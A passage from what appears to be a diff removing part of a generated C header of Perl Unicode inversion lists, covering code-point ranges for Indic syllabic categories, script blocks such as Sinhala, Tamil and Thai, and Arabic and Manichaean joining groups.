0xCE4, - 0xD3E, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4D, - 0xD57, - 0xD58, - 0xD62, - 0xD64, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDF2, - 0xDF4, - 0xE30, - 0xE3A, - 0xE40, - 0xE46, - 0xE47, - 0xE48, - 0xEB0, - 0xEBA, - 0xEBB, - 0xEBC, - 0xEC0, - 0xEC5, - 0xF71, - 0xF7E, - 0xF80, - 0xF82, - 0x102B, - 0x1036, - 0x1056, - 0x105A, - 0x1062, - 0x1063, - 0x1067, - 0x1069, - 0x1071, - 0x1075, - 0x1083, - 0x1087, - 0x109C, - 0x109E, - 0x1712, - 0x1714, - 0x1732, - 0x1734, - 0x1752, - 0x1754, - 0x1772, - 0x1774, - 0x17B6, - 0x17C6, - 0x17C8, - 0x17C9, - 0x1920, - 0x1929, - 0x193A, - 0x193B, - 0x19B0, - 0x19C1, - 0x1A17, - 0x1A1C, - 0x1A61, - 0x1A74, - 0x1B35, - 0x1B44, - 0x1BA4, - 0x1BAA, - 0x1BE7, - 0x1BF0, - 0x1C26, - 0x1C2D, - 0xA823, - 0xA828, - 0xA8B5, - 0xA8C4, - 0xA947, - 0xA94F, - 0xA9B4, - 0xA9BD, - 0xA9E5, - 0xA9E6, - 0xAA29, - 0xAA33, - 0xAAB0, - 0xAABF, - 0xAAEB, - 0xAAF0, - 0xABE3, - 0xABEB, - 0x10A01, - 0x10A04, - 0x10A05, - 0x10A07, - 0x10A0C, - 0x10A0E, - 0x11038, - 0x11046, - 0x110B0, - 0x110B9, - 0x11127, - 0x11133, - 0x111B3, - 0x111C0, - 0x111CB, - 0x111CD, - 0x1122C, - 0x11234, - 0x112E0, - 0x112E9, - 0x1133E, - 0x11345, - 0x11347, - 0x11349, - 0x1134B, - 0x1134D, - 0x11357, - 0x11358, - 0x11362, - 0x11364, - 0x11435, - 0x11442, - 0x114B0, - 0x114BF, - 0x115AF, - 0x115B6, - 0x115B8, - 0x115BC, - 0x115DC, - 0x115DE, - 0x11630, - 0x1163D, - 0x11640, - 0x11641, - 0x116AD, - 0x116B6, - 0x11720, - 0x1172B, - 0x11A01, - 0x11A0B, - 0x11A51, - 0x11A5C, - 0x11C2F, - 0x11C37, - 0x11C38, - 0x11C3C, - 0x11CB0, - 0x11CB5, - 0x11D31, - 0x11D37, - 0x11D3A, - 0x11D3B, - 0x11D3C, - 0x11D3E, - 0x11D3F, - 0x11D40, - 0x11D43, - 0x11D44 -}; - -static const UV PL_INSC__VOWELINDEPENDENT_invlist[] = { /* for all charsets */ - 157, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x904, - 0x915, - 0x960, - 0x962, - 0x972, - 0x978, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x995, - 0x9E0, - 0x9E2, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA15, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xA95, - 0xAE0, - 0xAE2, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB15, - 0xB60, - 0xB62, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB95, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC15, - 0xC60, - 0xC62, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xC95, - 0xCE0, - 0xCE2, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD15, - 0xD5F, - 0xD62, - 0xD85, - 0xD97, - 0x1021, - 0x102B, - 0x1052, - 0x1056, - 0x1700, - 0x1703, - 0x1720, - 0x1723, - 0x1740, - 0x1743, - 0x1760, - 0x1763, - 0x17A3, - 0x17B4, - 0x1A4D, - 0x1A53, - 0x1B05, - 0x1B13, - 0x1B83, - 0x1B8A, - 0x1BE4, - 0x1BE6, - 0xA800, - 0xA802, - 0xA803, - 0xA806, - 0xA882, - 0xA892, - 0xA984, - 0xA989, - 0xA98C, - 0xA98F, - 0xAA00, - 0xAA06, - 0xAAE0, - 0xAAE2, - 0xABCE, - 0xABD0, - 0xABD1, - 0xABD2, - 0x11005, - 0x11013, - 0x11083, - 0x1108D, - 0x11103, - 0x11107, - 0x11183, - 0x11191, - 0x11200, - 0x11208, - 0x11280, - 0x11284, - 0x112B0, - 0x112BA, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11315, - 0x11360, - 0x11362, - 0x11400, - 0x1140E, - 0x11481, - 0x1148F, - 0x11580, - 0x1158E, - 0x115D8, - 0x115DC, - 0x11600, - 0x1160E, - 0x11680, - 0x1168A, - 0x11A00, - 0x11A01, - 0x11A50, - 0x11A51, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C0E, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D0C -}; - -static const UV PL_INSHARADA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11180, - 0x111E0 -}; - -static const UV PL_INSIDDHAM_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11580, - 0x11600 -}; - -static const UV PL_INSINHALA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD80, - 0xE00 -}; - -static const UV PL_INSORASOMPENG_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x110D0, - 0x11100 -}; - -static const UV PL_INSOYOMBO_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11A50, - 0x11AB0 -}; - -static const UV PL_INSUNDANESE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1B80, - 0x1BC0 -}; - -static const UV PL_INSYLOTINAGRI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA800, - 0xA830 -}; - -static const UV PL_INSYRIAC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x700, - 0x750 -}; - -static const UV PL_INTAGALOG_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1700, - 0x1720 -}; - -static const UV PL_INTAGBANWA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1760, - 0x1780 -}; - -static const UV PL_INTAILE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1950, - 0x1980 -}; - -static const UV PL_INTAITHAM_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1A20, - 0x1AB0 -}; - -static const UV PL_INTAIVIET_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xAA80, - 0xAAE0 -}; - -static const UV PL_INTAKRI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11680, - 0x116D0 -}; - -static const UV PL_INTAMIL_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB80, - 0xC00 -}; - -static const UV PL_INTANGUT_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x17000, - 0x18800 -}; - -static const UV PL_INTELUGU_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xC00, - 0xC80 -}; - -static const UV PL_INTHAANA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x780, - 0x7C0 -}; - -static const UV PL_INTHAI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xE00, - 0xE80 -}; - -static const UV PL_INTIBETAN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF00, - 0x1000 -}; - -static const UV PL_INTIFINAGH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2D30, - 0x2D80 -}; - -static const UV PL_INTIRHUTA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11480, - 0x114E0 -}; - -static const UV PL_INUGARITIC_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10380, - 0x103A0 -}; - -static const UV PL_INVAI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA500, - 0xA640 -}; - -static const UV PL_INVS_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xFE00, - 0xFE10 -}; - -static const UV PL_INWARANGCITI_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x118A0, - 0x11900 -}; - -static const UV PL_INZANABAZARSQUARE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x11A00, - 0x11A50 -}; - -static const UV PL_IPAEXT_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x250, - 0x2B0 -}; - -static const UV PL_ITAL_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10300, - 0x10324, - 0x1032D, - 0x10330 -}; - -static const UV PL_JAMO_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1100, - 0x1200 -}; - -static const UV PL_JAMOEXTA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA960, - 0xA980 -}; - -static const UV PL_JAMOEXTB_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD7B0, - 0xD800 -}; - -static const UV PL_JAVA_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xA980, - 0xA9CE, - 0xA9CF, - 0xA9DA, - 0xA9DE, - 0xA9E0 -}; - -static const UV PL_JG__AFRICANFEH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x8BB, - 0x8BC -}; - -static const UV PL_JG__AFRICANNOON_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x8BD, - 0x8BE -}; - -static const UV PL_JG__AFRICANQAF_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x8BC, - 0x8BD -}; - -static const UV PL_JG__AIN_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x639, - 0x63B, - 0x6A0, - 0x6A1, - 0x6FC, - 0x6FD, - 0x75D, - 0x760, - 0x8B3, - 0x8B4 -}; - -static const UV PL_JG__ALAPH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x710, - 0x711 -}; - -static const UV PL_JG__ALEF_invlist[] = { /* for all charsets */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x622, - 0x624, - 0x625, - 0x626, - 0x627, - 0x628, - 0x671, - 0x674, - 0x675, - 0x676, - 0x773, - 0x775 -}; - -static const UV PL_JG__BEH_invlist[] = { /* for all charsets */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x628, - 0x629, - 0x62A, - 0x62C, - 0x66E, - 0x66F, - 0x679, - 0x681, - 0x750, - 0x757, - 0x8A0, - 0x8A2, - 0x8B6, - 0x8B9 -}; - -static const UV PL_JG__BETH_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x712, - 0x713, - 0x72D, - 0x72E -}; - -static const UV PL_JG__BURUSHASKIYEHBARREE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x77A, - 0x77C -}; - -static const UV PL_JG__DAL_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x62F, - 0x631, - 0x688, - 0x691, - 0x6EE, - 0x6EF, - 0x759, - 0x75B, - 0x8AE, - 0x8AF -}; - -static const UV PL_JG__DALATHRISH_invlist[] = { /* for all charsets */ - 7, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x715, - 0x717, - 0x72A, - 0x72B, - 0x72F, - 0x730 -}; - -static const UV PL_JG__E_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x725, - 0x726 -}; - -static const UV PL_JG__FARSIYEH_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x63D, - 0x640, - 0x6CC, - 0x6CD, - 0x6CE, - 0x6CF, - 0x775, - 0x777 -}; - -static const UV PL_JG__FE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x74F, - 0x750 -}; - -static const UV PL_JG__FEH_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x641, - 0x642, - 0x6A1, - 0x6A7, - 0x760, - 0x762, - 0x8A4, - 0x8A5 -}; - -static const UV PL_JG__FINALSEMKATH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x724, - 0x725 -}; - -static const UV PL_JG__GAF_invlist[] = { /* for all charsets */ - 13, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x63B, - 0x63D, - 0x6A9, - 0x6AA, - 0x6AB, - 0x6AC, - 0x6AF, - 0x6B5, - 0x762, - 0x765, - 0x8B0, - 0x8B1 -}; - -static const UV PL_JG__GAMAL_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x713, - 0x715, - 0x72E, - 0x72F -}; - -static const UV PL_JG__HAH_invlist[] = { /* for all charsets */ - 17, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x62C, - 0x62F, - 0x681, - 0x688, - 0x6BF, - 0x6C0, - 0x757, - 0x759, - 0x76E, - 0x770, - 0x772, - 0x773, - 0x77C, - 0x77D, - 0x8A2, - 0x8A3 -}; - -static const UV PL_JG__HAMZAONHEHGOAL_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x6C3, - 0x6C4 -}; - -static const UV PL_JG__HE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x717, - 0x718 -}; - -static const UV PL_JG__HEH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x647, - 0x648 -}; - -static const UV PL_JG__HEHGOAL_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x6C1, - 0x6C3 -}; - -static const UV PL_JG__HETH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x71A, - 0x71B -}; - -static const UV PL_JG__KAF_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x643, - 0x644, - 0x6AC, - 0x6AF, - 0x77F, - 0x780, - 0x8B4, - 0x8B5 -}; - -static const UV PL_JG__KAPH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x71F, - 0x720 -}; - -static const UV PL_JG__KHAPH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x74E, - 0x74F -}; - -static const UV PL_JG__KNOTTEDHEH_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x6BE, - 0x6BF, - 0x6FF, - 0x700 -}; - -static const UV PL_JG__LAM_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x644, - 0x645, - 0x6B5, - 0x6B9, - 0x76A, - 0x76B, - 0x8A6, - 0x8A7 -}; - -static const UV PL_JG__LAMADH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x720, - 0x721 -}; - -static const UV PL_JG__MALAYALAMBHA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x866, - 0x867 -}; - -static const UV PL_JG__MALAYALAMJA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x861, - 0x862 -}; - -static const UV PL_JG__MALAYALAMLLA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x868, - 0x869 -}; - -static const UV PL_JG__MALAYALAMLLLA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x869, - 0x86A -}; - -static const UV PL_JG__MALAYALAMNGA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x860, - 0x861 -}; - -static const UV PL_JG__MALAYALAMNNA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x864, - 0x865 -}; - -static const UV PL_JG__MALAYALAMNNNA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x865, - 0x866 -}; - -static const UV PL_JG__MALAYALAMNYA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x862, - 0x863 -}; - -static const UV PL_JG__MALAYALAMRA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x867, - 0x868 -}; - -static const UV PL_JG__MALAYALAMSSA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x86A, - 0x86B -}; - -static const UV PL_JG__MALAYALAMTTA_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x863, - 0x864 -}; - -static const UV PL_JG__MANICHAEANALEPH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AC0, - 0x10AC1 -}; - -static const UV PL_JG__MANICHAEANAYIN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AD9, - 0x10ADB -}; - -static const UV PL_JG__MANICHAEANBETH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AC1, - 0x10AC3 -}; - -static const UV PL_JG__MANICHAEANDALETH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AC5, - 0x10AC6 -}; - -static const UV PL_JG__MANICHAEANDHAMEDH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AD4, - 0x10AD5 -}; - -static const UV PL_JG__MANICHAEANFIVE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AEC, - 0x10AED -}; - -static const UV PL_JG__MANICHAEANGIMEL_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AC3, - 0x10AC5 -}; - -static const UV PL_JG__MANICHAEANHETH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10ACD, - 0x10ACE -}; - -static const UV PL_JG__MANICHAEANHUNDRED_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AEF, - 0x10AF0 -}; - -static const UV PL_JG__MANICHAEANKAPH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AD0, - 0x10AD3 -}; - -static const UV PL_JG__MANICHAEANLAMEDH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AD3, - 0x10AD4 -}; - -static const UV PL_JG__MANICHAEANMEM_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AD6, - 0x10AD7 -}; - -static const UV PL_JG__MANICHAEANNUN_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AD7, - 0x10AD8 -}; - -static const UV PL_JG__MANICHAEANONE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AEB, - 0x10AEC -}; - -static const UV PL_JG__MANICHAEANPE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10ADB, - 0x10ADD -}; - -static const UV PL_JG__MANICHAEANQOPH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10ADE, - 0x10AE1 -}; - -static const UV PL_JG__MANICHAEANRESH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AE1, - 0x10AE2 -}; - -static const UV PL_JG__MANICHAEANSADHE_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10ADD, - 0x10ADE -}; - -static const UV PL_JG__MANICHAEANSAMEKH_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10AD8, - 